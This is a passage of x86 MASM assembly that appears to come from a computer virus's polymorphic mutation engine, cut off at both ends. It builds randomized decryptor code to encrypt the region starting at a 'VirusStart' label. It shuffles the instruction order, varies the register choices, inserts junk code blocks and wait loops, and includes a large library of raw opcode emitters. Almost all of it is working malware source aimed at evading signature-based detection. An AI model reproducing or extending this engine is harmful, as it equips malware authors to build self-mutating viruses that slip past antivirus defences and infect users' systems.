MEMSTARTNBR = (($ - OFFSET InstrTBL) / 4 ) - (( MEMEND - OFFSET MEMSTART) / 4)
TOTALNBR = (OFFSET $ - OFFSET InstrTBL) / 4
;CRYPTNBR = 14
;TOTALNBR = 39
;XORED dd 0
CryptSeq:
push 3
pop eax
push 17
pop ecx
Call Get_rand_range
mov dword ptr [ebp + CryptInstrNbr],eax
xor eax,eax
inc eax
push dword ptr [ebp + CryptInstrNbr]
pop ecx
Call Get_rand_range
mov dword ptr [ebp + Make_XOR_KEY],eax
@GenCryptorOPCODE:
Call Random32
mov ebx,eax
Call ArrangeTo8Bits?
xor eax,eax
push CRYPTNBR
pop ecx
Call Get_rand_range
;;;;;;;;;;;;;;;;;;;
;
lea edx,dword ptr [ebp + InstrTBL]
mov edx,dword ptr [edx + (eax * 4)]
add edx,ebp
;;;;;;;;;;;;;;;;;;;
mov ch,byte ptr [ebp + counter_reg]
mov cl,byte ptr [ebp + key_reg]
;--------------------------------------------------------------
Call edx
Call Make_Random_Blk;-**-
;xor eax,eax
;push 13 ; 1/13
;pop ecx
;Call Get_rand_range
;dec eax
;jnz @F
;xor eax,eax
;push OneSize
;pop ecx
;Call Get_rand_range
;mov al,byte ptr [eax+ebp+OneByte]
;stosb
;@@:
dec dword ptr [ebp + Make_XOR_KEY]
jnz @CryptNext
@Mk_xor_key:
mov ch,byte ptr [ebp + key_reg]
mov cl,byte ptr [ebp + cypher_reg]
Call GEN_XOR_REG32_REG32
@CryptNext:
dec dword ptr [ebp + CryptInstrNbr]
jnz @GenCryptorOPCODE
ret
ROT_TBL dd OFFSET GEN_SHLD_REG32_REG32_CL
dd OFFSET GEN_SHRD_REG32_REG32_CL
dd OFFSET GEN_SAR_REG32_CL
dd OFFSET GEN_SHL_REG32_CL
dd OFFSET GEN_SHR_REG32_CL
dd OFFSET GEN_RCL_REG32_CL
dd OFFSET GEN_RCR_REG32_CL
dd OFFSET GEN_ROL_REG32_CL
dd OFFSET GEN_ROR_REG32_CL
dd OFFSET GEN_SHRD_REG32_REG32_IMM8
dd OFFSET GEN_SHLD_REG32_REG32_IMM8
dd OFFSET GEN_RCR_REG32_IMM8
dd OFFSET GEN_RCL_REG32_IMM8
dd OFFSET GEN_SAR_REG32_IMM8
dd OFFSET GEN_SHR_REG32_IMM8
dd OFFSET GEN_SHL_REG32_IMM8
ROT_NBR = (OFFSET $ - OFFSET ROT_TBL) / 4
GEN_ROT_STUFF proc uses edx ecx
push ecx
xor eax, eax
push ROT_NBR
pop ecx
Call Get_rand_range
pop ecx
lea edx, dword ptr [ebp + ROT_TBL]
mov edx, dword ptr [edx + (eax * 4)]
add edx, ebp
call edx
ret
GEN_ROT_STUFF endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CryptInstrNbr dd 0 ; Number of cryptologic instructions
Make_XOR_KEY dd 0 ; if 0 make xor cypher_reg, key_reg
SafeSeq dd OFFSET GEN_ADD_REG32_IMM
Save_regs proc
mov dword ptr [ebp + REG_EAX],eax
mov dword ptr [ebp + REG_ECX],ecx
mov dword ptr [ebp + REG_EDX],edx
mov dword ptr [ebp + REG_EBX],ebx
mov dword ptr [ebp + REG_ESI],esi
mov dword ptr [ebp + REG_EDI],edi
ret
Save_regs endp
Restore_regs proc
mov eax,dword ptr [ebp + REG_EAX]
mov ecx,dword ptr [ebp + REG_ECX]
mov edx,dword ptr [ebp + REG_EDX]
mov ebx,dword ptr [ebp + REG_EBX]
mov esi,dword ptr [ebp + REG_ESI]
mov edi,dword ptr [ebp + REG_EDI]
ret
Restore_regs endp
;ReturnAddr dd 0
SetSeq proc
and byte ptr [ebp + CryptBackward],0 ; Default scan foreward
Call Random32
jp @F
inc byte ptr [ebp + CryptBackward] ; scan backward
@@:
_SEQNEXT:
xor eax,eax
push 6 ; 6 Sequences
pop ecx
Call Get_rand_range ; Random instruction Sequence
or eax,eax
jz _SEQ1
dec eax
jz _SEQ2
dec eax
jz _SEQ3
dec eax
jz _SEQ4
dec eax
jz _SEQ5
dec eax
jz _SEQ6
_SEQ1:
CALL @@PC_SEQBASE
CALL @@PC_SEQSIZE
CALL @@PC_SEQKEY
jmp _SEQEXIT
_SEQ2:
CALL @@PC_SEQBASE
CALL @@PC_SEQKEY
CALL @@PC_SEQSIZE
jmp _SEQEXIT
_SEQ3:
CALL @@PC_SEQSIZE
CALL @@PC_SEQBASE
CALL @@PC_SEQKEY
jmp _SEQEXIT
_SEQ4:
CALL @@PC_SEQSIZE
CALL @@PC_SEQKEY
CALL @@PC_SEQBASE
jmp _SEQEXIT
_SEQ5:
CALL @@PC_SEQKEY
CALL @@PC_SEQSIZE
CALL @@PC_SEQBASE
jmp _SEQEXIT
_SEQ6:
CALL @@PC_SEQKEY
CALL @@PC_SEQBASE
CALL @@PC_SEQSIZE
_SEQEXIT:
.IF byte ptr [ebp + WtLp_Called] == 0
Call Make_Random_Blk;-**-
Call WaitLoop_Blk
Call Make_Random_Blk;-**-
inc byte ptr [ebp + WtLp_Called]
.ENDIF
mov dword ptr [ebp + LoopOFS],edi
;Call CryptSeq
;Call LittleBlk ; put garb
ret
SetSeq endp
CallWaitLoop? proc uses ecx
xor eax,eax
push 3
pop ecx
Call Get_rand_range
or eax, eax
jnz @F
.IF byte ptr [ebp + WtLp_Called] == 0
Call Make_Random_Blk;-**-
Call WaitLoop_Blk
Call Make_Random_Blk;-**-
inc byte ptr [ebp + WtLp_Called]
.ENDIF
@@:
ret
CallWaitLoop? endp
CryptBackward db 0
;========= ========= ========= ========= [BASE] ========= ========= ========= =========
@@PC_SEQBASE:
Call CallWaitLoop?
mov eax,edi
inc eax
mov dword ptr [ebp + BaseOFS],eax
mov ebx, OFFSET VirusStart ;
;mov ebx, dword ptr [ebp + What2encrypt];::
;sub ebx, dword ptr [ebp + @Delta];::
;add ebx, dword ptr [ebp + RVA_What2encrypt]
;sub ebx, ebp
.IF byte ptr [ebp + CryptBackward] != 0
add ebx, dword ptr [ebp + SizeOfWhat2encrypt]
inc ebx
.ENDIF
Call HideConst
xor eax,eax
push 3
pop ecx
Call Get_rand_range
mov cl,byte ptr [ebp + base_reg]
or eax,eax
jz @PC_BASE_PUSHPOP
dec eax
jz @PC_BASE_LEA
@PC_BASE_MOV:
CALL GEN_MOV_REG32_IMM
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + base_reg]
Call RestConst
Call Make_Random_Blk;**
ret
@PC_BASE_PUSHPOP:
CALL GEN_PUSH_IMM32
Call Make_Random_Blk;**
CALL GEN_POP_REG32
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + base_reg]
Call RestConst
Call Make_Random_Blk;**
ret
@PC_BASE_LEA:
inc dword ptr [ebp + BaseOFS] ; because LEA takes one byte more
mov byte ptr [ebp + _REG_OPCODE], cl;-***-
mov byte ptr [ebp + _MOD], 0
mov byte ptr [ebp + _RM], 5
mov dword ptr [ebp + Displacement], ebx
CALL GEN_LEA_REG32_DISP32
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + base_reg]
Call RestConst
Call Make_Random_Blk;**
ret
CMP_Range dd 0
;========= ========= ========= ========= [SIZE] ========= ========= ========= =========
@@PC_SEQSIZE:
Call CallWaitLoop?
mov ebx, dword ptr [ebp + SizeOfWhat2encrypt]
shr ebx,2
inc ebx
inc ebx
and dword ptr [ebp + CMP_Range],0
;.IF byte ptr [ebp + CryptBackward] == 0
; xor eax,eax
; push 30
; pop ecx
; Call Get_rand_range
; mov dword ptr [ebp + CMP_Range],eax
;
; add ebx,eax ; make size different
;
;.ENDIF
Call HideConst
xor eax,eax
push 3
pop ecx
Call Get_rand_range
mov cl,byte ptr [ebp + counter_reg]
or eax,eax
jz @PC_SIZE_MOV
dec eax
jz @PC_SIZE_LEA
@PC_SIZE_PUSHPOP:
CALL GEN_PUSH_IMM32
Call Make_Random_Blk;**
CALL GEN_POP_REG32
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + counter_reg]
Call RestConst
Call Make_Random_Blk;**
ret
@PC_SIZE_MOV:
;****
CALL GEN_MOV_REG32_IMM
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + counter_reg]
Call RestConst
Call Make_Random_Blk;**
ret
@PC_SIZE_LEA:
mov byte ptr [ebp + _REG_OPCODE], cl;-***-
mov byte ptr [ebp + _MOD], 0
mov byte ptr [ebp + _RM], 5
mov dword ptr [ebp + Displacement], ebx
CALL GEN_LEA_REG32_DISP32
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + counter_reg]
Call RestConst
Call Make_Random_Blk;**
ret
;========= ========= ========= ========= [KEY] ========= ========= ========= =========
@@PC_SEQKEY:
xor eax,eax
push 3
pop ecx
Call Get_rand_range
or eax,eax
jz @PC_KEY_MOV
or eax,eax
jz @PC_KEY_LEA
@PC_KEY_PUSHPOP:
CAll Random32
mov ebx,eax
CALL GEN_PUSH_IMM32
Call Make_Random_Blk;**
mov cl,byte ptr [ebp + key_reg]
CALL GEN_POP_REG32
Call Make_Random_Blk;**
jmp @PC_KEY_NEXT
@PC_KEY_MOV:
;**
Call Random32
mov ebx,eax
mov cl,byte ptr [ebp + key_reg]
CALL GEN_MOV_REG32_IMM
Call Make_Random_Blk;**
jmp @PC_KEY_NEXT
@PC_KEY_LEA:
Call Random32
mov ebx,eax
mov cl,byte ptr [ebp + key_reg]
mov byte ptr [ebp + _REG_OPCODE], cl;-***-
mov byte ptr [ebp + _MOD], 0
mov byte ptr [ebp + _RM], 5
mov dword ptr [ebp + Displacement], ebx
CALL GEN_LEA_REG32_DISP32
Call Make_Random_Blk;**
@PC_KEY_NEXT:
Call CallWaitLoop?;**
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; OPCODE GENERATION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_16BITS_OPC_TBL dd OFFSET GEN_ADD_REG16_IMM
dd OFFSET GEN_XOR_REG16_IMM
dd OFFSET GEN_SUB_REG16_IMM
dd OFFSET GEN_ADD_REG16_REG16 ; 1
dd OFFSET GEN_XOR_REG16_REG16
dd OFFSET GEN_SUB_REG16_REG16
_16BITS_OPC_NBR = 5
GEN_16BITS_OPC proc uses edx ecx
push ecx
xor eax,eax
push _16BITS_OPC_NBR
pop ecx
Call Get_rand_range
pop ecx
lea edx, dword ptr [ebp + _16BITS_OPC_TBL]
mov edx, dword ptr [edx + (eax * 4)]
add edx, ebp
Call edx
ret
GEN_16BITS_OPC endp
GEN_ADD_REG32_IMM:
CAll IS_NBR_8B
jc @F
mov ax,0C083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,05h ; EAX SPECIFIC OPCODE
stosb
jmp End_ADD_REG32_IMM
@@:
mov ax,0C081h
add ah,cl
stosw
End_ADD_REG32_IMM:
mov eax,ebx
stosd
ret
GEN_ADD_REG16_IMM:
mov al,66h ; Prefix
stosb
CAll IS_NBR_8B
jc @F
mov ax,0C083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,05h ; EAX SPECIFIC OPCODE
stosb
jmp End_ADD_REG16_IMM
@@:
mov ax,0C081h
add ah,cl
stosw
End_ADD_REG16_IMM:
mov ax,bx
stosw
ret
GEN_ADD_REG8_IMM:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
or cl,cl
jz @F
mov ax,0C080h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
mov al,04h
stosb
mov al,bl
stosb
ret
GEN_ADD_REG32_REG32:
mov al,03h ; ADD REG32,REG32
mov ah,cl ; REGISTER1
shl ah,3 ; ah * 8
or ah,ch ; REGISTER2
or ah,0C0h
stosw
ret
GEN_ADD_REG16_REG16:
mov al,66h ; Prefix
stosb
mov ax,0C003h
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_ADD_REG8_REG8:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
mov ax,0C002h
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_MOV_REG32_IMM:
mov al,0B8h ; MOV REG32,IMM
or al,cl ; REGISTER
stosb
mov eax,ebx ; IMMEDIATE
stosd
ret
;GEN_MOV_REG32_MEM: ; mov REG32, MEM
;GEN_MOV_REG32_MEM_REG32_plus_REG32: ; MOV REG32,DWORD PTR [REG32+REG32]
GEN_MOV_REG32_MEM_REG32:
cmp ch,5
jz @F
mov al,08Bh ; MOV REG32,dwo [REG32]
mov ah,cl ; REGISTER1
shl ah,3 ; ah * 8
or ah,ch ; REGISTER2
stosw
ret
@@:
mov ax,458Bh
shl cl,3
or ah,cl
stosw
xor al,al
stosb
ret
GEN_MOV_MEM_REG32_REG32:
cmp ch,5
jz @F
mov al,089h ; MOV dwo [REG32], REG32
mov ah,cl ; REGISTER1
shl ah,3 ; ah * 8
or ah,ch ; REGISTER2
stosw
ret
@@:
mov ax,4589h
shl cl,3
or ah,cl
stosw
xor al,al
stosb
ret
GEN_MOV_REG32_REG32 proc
cmp cl, ch ; Anti-Absurd Code prevents "mov samereg, samereg"
jnz Skip
@@:
call Random32
and al, 7
cmp al, cl
jz @B
mov ch, al
Skip:
mov al,08Bh ; MOV REG32,REG32
mov ah,cl ; REGISTER1
shl ah,3 ; ah * 8
or ah,ch ; REGISTER2
or ah,0C0h
stosw
ret
GEN_MOV_REG32_REG32 endp
GEN_XOR_REG32_REG32:
mov al,033h ; MOV REG32,REG32
mov ah,cl ; REGISTER1
shl ah,3 ; ah * 8
or ah,ch ; REGISTER2
or ah,0C0h
stosw
ret
GEN_XOR_REG16_REG16:
mov al,66h
stosb
Call GEN_XOR_REG32_REG32
ret
GEN_XOR_REG8_REG8:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
mov ax,0C032h
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_XOR_REG32_IMM:
CAll IS_NBR_8B
jc @F
mov ax,0F083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,35h ; EAX SPECIFIC OPCODE
stosb
jmp End_XOR_REG32_IMM
@@:
mov ax,0F081h
add ah,cl
stosw
End_XOR_REG32_IMM:
mov eax,ebx
stosd
ret
GEN_XOR_REG16_IMM:
mov al,66h
stosb
CAll IS_NBR_8B
jc @F
mov ax,0F083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,35h ; EAX SPECIFIC OPCODE
stosb
jmp End_XOR_REG16_IMM
@@:
mov ax,0F081h
or ah,cl
stosw
End_XOR_REG16_IMM:
mov ax,bx
stosw
ret
GEN_XOR_REG8_IMM:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
or cl,cl
jz @F
mov ax,0F080h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
mov al,34h
stosb
mov al,bl
stosb
ret
GEN_MOV_REG32_MEM_INDEX:
mov ax,428Bh ; MOV REG32,dwo [REG+INDEX]
or ah,cl ; REGISTER
stosw
CAll IS_NBR_8B
jc @F
mov al,bl
stosb
ret
@@:
mov eax,ebx ; MEM
stosd
ret
GEN_PUSH_IMM32:
CALL IS_NBR_8B
Jc @F
Call GEN_PUSH_IMM8
ret
@@:
mov al,68h ; PUSH IMM32
stosb
mov eax,ebx
stosd
ret
GEN_PUSH_MEM32:
mov ax,35FFh ; PUSH MEM32
stosw
mov eax,ebx
stosd
ret
GEN_PUSH_REG32:
mov al,50h ; PUSH REG32
add al,cl
stosb
ret
GEN_PUSH_REGMEM32:
cmp cl,5
jz @F
mov ax,30FFh ; PUSH dwo [REG32]
or ah,cl
stosw
ret
@@:
mov ax,75FFh
stosw
xor al,al
stosb
ret
GEN_PUSH_REGMEM32_INDEX8:
mov ax,70FFh ; PUSH dwo [REG32+INDEX]
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_PUSH_IMM8:
mov al,6Ah ; PUSH IMM8
stosb
mov al,bl
stosb
ret
GEN_POP_REG32:
mov al,58h
add al,cl
stosb
ret
GEN_POP_REGMEM32:
cmp cl,5
jz @F
mov ax,008Fh
add ah,cl
stosw
ret
@@:
mov ax,458Fh
stosw
xor al,al
stosb
ret
GEN_LEA_REG32_DISP32:
mov al, 8Dh
stosb
Call EncodeModRM_SIB
ret
;GEN_LEA_REG32_DISP32:
; mov ax,058Dh
; shl cl,3 ; cl * 4
; or ah,cl
; stosw
; mov eax,ebx
; stosd
; ret
GEN_DEC_REG32: ; Dec
mov al,48h
add al,cl
stosb
ret
GEN_INC_REG32: ; Inc
mov al,40h
add al,cl
stosb
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GEN_SUB_REG32_REG32: ; SUB REG32,REG32
mov ax,0C02Bh
shl cl,3
or ah,cl
or ah,ch
shr cl,3
stosw
ret
GEN_SUB_REG16_REG16:
mov al,66h
stosb
mov ax,0C02Bh
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_SUB_REG8_REG8:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
mov ax,0C02Ah
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_SUB_REG32_IMM: ; SUB REG32,IMM
CAll IS_NBR_8B
jc @F
mov ax,0E883h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,2Dh ; EAX SPECIFIC OPCODE
stosb
jmp End_SUB_REG32_IMM
@@:
mov ax,0E881h
add ah,cl
stosw
End_SUB_REG32_IMM:
mov eax,ebx
stosd
ret
GEN_SUB_REG16_IMM:
mov al,66h
stosb
CAll IS_NBR_8B
jc @F
mov ax,0E883h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,2Dh ; EAX SPECIFIC OPCODE
stosb
jmp End_SUB_REG16_IMM
@@:
mov ax,0E881h
add ah,cl
stosw
End_SUB_REG16_IMM:
mov ax,bx
stosw
ret
GEN_SUB_REG8_IMM:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
or cl,cl
jz @F
mov ax,0E880h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
mov al,2ch
stosb
mov al,bl
stosb
ret
GEN_DEC_REG8:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
mov ax,0C8FEh
or ah,cl
stosw
ret
GEN_INC_REG8:
Call GetValid8BREGS;-*
jnc @F
ret
@@:
mov ax,0C0FEh
or ah,cl
stosw
ret
GEN_ROL_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0C0D1h ; MOV REG32,REG32
or ah,cl ; REGISTER1
stosw
ret
.ENDIF
mov ax,0C0C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_ROR_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0C8D1h ; MOV REG32,REG32
or ah,cl ; REGISTER1
stosw
ret
.ENDIF
mov ax,0C8C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_JNZ_OFS:
CALL IS_NBR_8B
jnc @JNZ_SHORT
sub ebx,6
mov ax,850fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JNZ_SHORT:
dec ebx
dec ebx
mov al,75h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JZ_OFS:
CALL IS_NBR_8B
jnc @JZ_SHORT
sub ebx,6
mov ax,840fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JZ_SHORT:
dec ebx
dec ebx
mov al,74h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JNS_OFS:
CALL IS_NBR_8B
jnc @JNS_SHORT
sub ebx,6
mov ax,890fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JNS_SHORT:
dec ebx
dec ebx
mov al,79h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JS_OFS:
CALL IS_NBR_8B
jnc @JS_SHORT
sub ebx,6
mov ax,880fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JS_SHORT:
dec ebx
dec ebx
mov al,78h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JG_OFS:
CALL IS_NBR_8B
jnc @JG_SHORT
sub ebx,6
mov ax,8F0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JG_SHORT:
dec ebx
dec ebx
mov al,7Fh
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JL_OFS:
CALL IS_NBR_8B
jnc @JL_SHORT
sub ebx,6
mov ax,8C0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JL_SHORT:
dec ebx
dec ebx
mov al,7Ch
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JGE_OFS:
CALL IS_NBR_8B
jnc @JGE_SHORT
sub ebx,6
mov ax,8D0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JGE_SHORT:
dec ebx
dec ebx
mov al,7Dh
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JLE_OFS:
CALL IS_NBR_8B
jnc @JLE_SHORT
sub ebx,6
mov ax,8E0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JLE_SHORT:
dec ebx
dec ebx
mov al,7Eh
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JBE_OFS:
CALL IS_NBR_8B
jnc @JBE_SHORT
sub ebx,6
mov ax,860fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JBE_SHORT:
dec ebx
dec ebx
mov al,76h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JA_OFS:
CALL IS_NBR_8B
jnc @JA_SHORT
sub ebx,6
mov ax,870fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JA_SHORT:
dec ebx
dec ebx
mov al,77h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JNB_OFS:
CALL IS_NBR_8B
jnc @JNB_SHORT
sub ebx,6
mov ax,830fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JNB_SHORT:
dec ebx
dec ebx
mov al,73h
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JP_OFS:
CALL IS_NBR_8B
jnc @JP_SHORT
sub ebx,6
mov ax,8A0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JP_SHORT:
dec ebx
dec ebx
mov al,7Ah
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JNP_OFS:
CALL IS_NBR_8B
jnc @JNP_SHORT
sub ebx,6
mov ax,8B0fh
stosw
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JNP_SHORT:
dec ebx
dec ebx
mov al,7Bh
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_JMP_OFS:
CALL IS_NBR_8B
jnc @JMP_SHORT
sub ebx,5
mov al,0E9h
stosb
mov byte ptr [ebp + JmpShort?], 0
mov eax,ebx
stosd
ret
@JMP_SHORT:
dec ebx
dec ebx
mov al,0EBh
stosb
mov byte ptr [ebp + JmpShort?], 1
mov al,bl
stosb
ret
GEN_CALL_OFS:
mov al,0E8h
stosb
sub ebx,5
mov eax,ebx
stosd
ret
GEN_RET:
mov al,0C3h
stosb
ret
GEN_RETN_IMM16:
mov al,0C2h
stosb
mov ax,bx
stosw
ret
GEN_CMP_REG32_IMM:
CALL IS_NBR_8B
jc @CMP_REG32_IMM32
mov ax,0F883h
or ah,cl
stosw
mov al,bl
stosb
ret
@CMP_REG32_IMM32:
or cl,cl
jnz @F
mov al,3Dh ; EAX SPECIFIC OPCODE
stosb
jmp End_CMP_REG32_IMM
@@:
mov ax,0F881h
or ah,cl
stosw
End_CMP_REG32_IMM:
mov eax,ebx
stosd
ret
GEN_CMP_REG32_REG32:
mov ax, 0C03Bh
or ah, cl
shl ch, 3
or ah, ch
shr ch, 3
stosw
ret
GEN_TEST_REG32_REG32: ; SUB REG32,REG32
mov ax,0C085h
shl ch,3
or ah,cl
or ah,ch
shr cl,3
stosw
ret
GEN_TEST_REG32_IMM32 proc
or cl, cl
jnz @F
mov al, 0A9h
stosb
jmp skip
@@:
mov ax, 0C0F7h
or ah, cl
stosw
skip:
mov eax, ebx
stosd
ret
GEN_TEST_REG32_IMM32 endp
IS_NBR_8B:
.IF ebx >= 80h && ebx < -80h
stc ; Number is 32 bits
ret
.ENDIF
clc ; Number is 8 bits
ret
GEN_SHR_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0E8D1h ; SHR REG32,IMM8
or ah,cl
stosw
ret
.ENDIF
mov ax,0E8C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_SHL_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0E0D1h ; SHl REG32,IMM8
or ah,cl
stosw
ret
.ENDIF
mov ax,0E0C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_SAR_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0F8D1h ; SHl REG32,IMM8
or ah,cl
stosw
ret
.ENDIF
mov ax,0F8C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_SHLD_REG32_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
mov al,0Fh
stosb
mov ax,0C0A4h
shl ch,3
or ah,cl
or ah,ch
stosw
mov al,bl
stosb
ret
GEN_SHRD_REG32_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
mov al,0Fh
stosb
mov ax,0C0ACh
shl ch,3
or ah,cl
or ah,ch
stosw
mov al,bl
stosb
ret
GEN_SHLD_REG32_REG32_CL:
mov al,0Fh
stosb
mov ax,0C0A5h
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_SHRD_REG32_REG32_CL:
mov al,0Fh
stosb
mov ax,0C0ADh
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_SAR_REG32_CL:
mov ax,0F8D3h
or ah,cl
stosw
ret
GEN_SHL_REG32_CL:
mov ax,0E0D3h
or ah,cl
stosw
ret
GEN_SHR_REG32_CL:
mov ax,0E8D3h
or ah,cl
stosw
ret
GEN_RCL_REG32_CL:
mov ax,0D0D3h
or ah,cl
stosw
ret
GEN_RCR_REG32_CL:
mov ax,0D8D3h
or ah,cl
stosw
ret
GEN_ROL_REG32_CL:
mov ax,0C0D3h
or ah,cl
stosw
ret
GEN_ROR_REG32_CL:
mov ax,0C8D3h
or ah,cl
stosw
ret
GEN_IMUL_REG32:
mov ax,0E8F7h
or ah,cl
stosw
ret
GEN_MUL_REG32:
mov ax,0E0F7h
or ah,cl
stosw
ret
GEN_IMUL_REG32_REG32_IMM:
CAll IS_NBR_8B
jc @F
mov ax,0C06Bh
shl cl,3
or ah,cl
or ah,ch
stosw
mov al,bl
stosb
ret
@@:
mov ax,0C069h
shl cl,3
or ah,cl
or ah,ch
stosw
mov eax,ebx
stosd
ret
GEN_IMUL_REG32_REG32:
mov al,0Fh
stosb
mov ax,0C0AFh
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_DIV_REG32:
CMP cl,2
jz @F
CMP byte ptr [ebp + garb_reg1],2
jz @F
CMP byte ptr [ebp + garb_reg2],2
jz @F
CMP byte ptr [ebp + garb_reg3],2
jz @F
ret
@@:
mov ax,0D233h
stosw
mov ax,0F0F7h
or ah,cl
stosw
ret
GEN_IDIV_REG32:
CMP cl,2
jz @F
CMP byte ptr [ebp + garb_reg1],2
jz @F
CMP byte ptr [ebp + garb_reg2],2
jz @F
CMP byte ptr [ebp + garb_reg3],2
jz @F
ret
@@:
mov ax,0D233h
stosw
mov ax,0F8F7h
or ah,cl
stosw
ret
GEN_XADD_REG32_REG32:
mov al,0Fh
stosb
mov ax,0C0C1h
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_ADC_REG32_REG32:
mov ax,0C011h
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_ADC_REG32_IMM32:
CAll IS_NBR_8B
jc @F
mov ax,0D083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,15h ; EAX SPECIFIC OPCODE
stosb
jmp End_ADC_REG32_IMM32
@@:
mov ax,0D081h
add ah,cl
stosw
End_ADC_REG32_IMM32:
mov eax,ebx
stosd
ret
GEN_SBB_REG32_REG32:
mov ax,0C01Bh
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_SBB_REG32_IMM32:
CAll IS_NBR_8B
jc @F
mov ax,0D883h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,1Dh ; EAX SPECIFIC OPCODE
stosb
jmp End_SBB_REG32_IMM32
@@:
mov ax,0D881h
add ah,cl
stosw
End_SBB_REG32_IMM32:
mov eax,ebx
stosd
ret
GEN_OR_REG32_REG32:
mov ax,0C009h
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_OR_REG32_IMM32:
CAll IS_NBR_8B
jc @F
mov ax,0C883h
add ah,cl
stosw
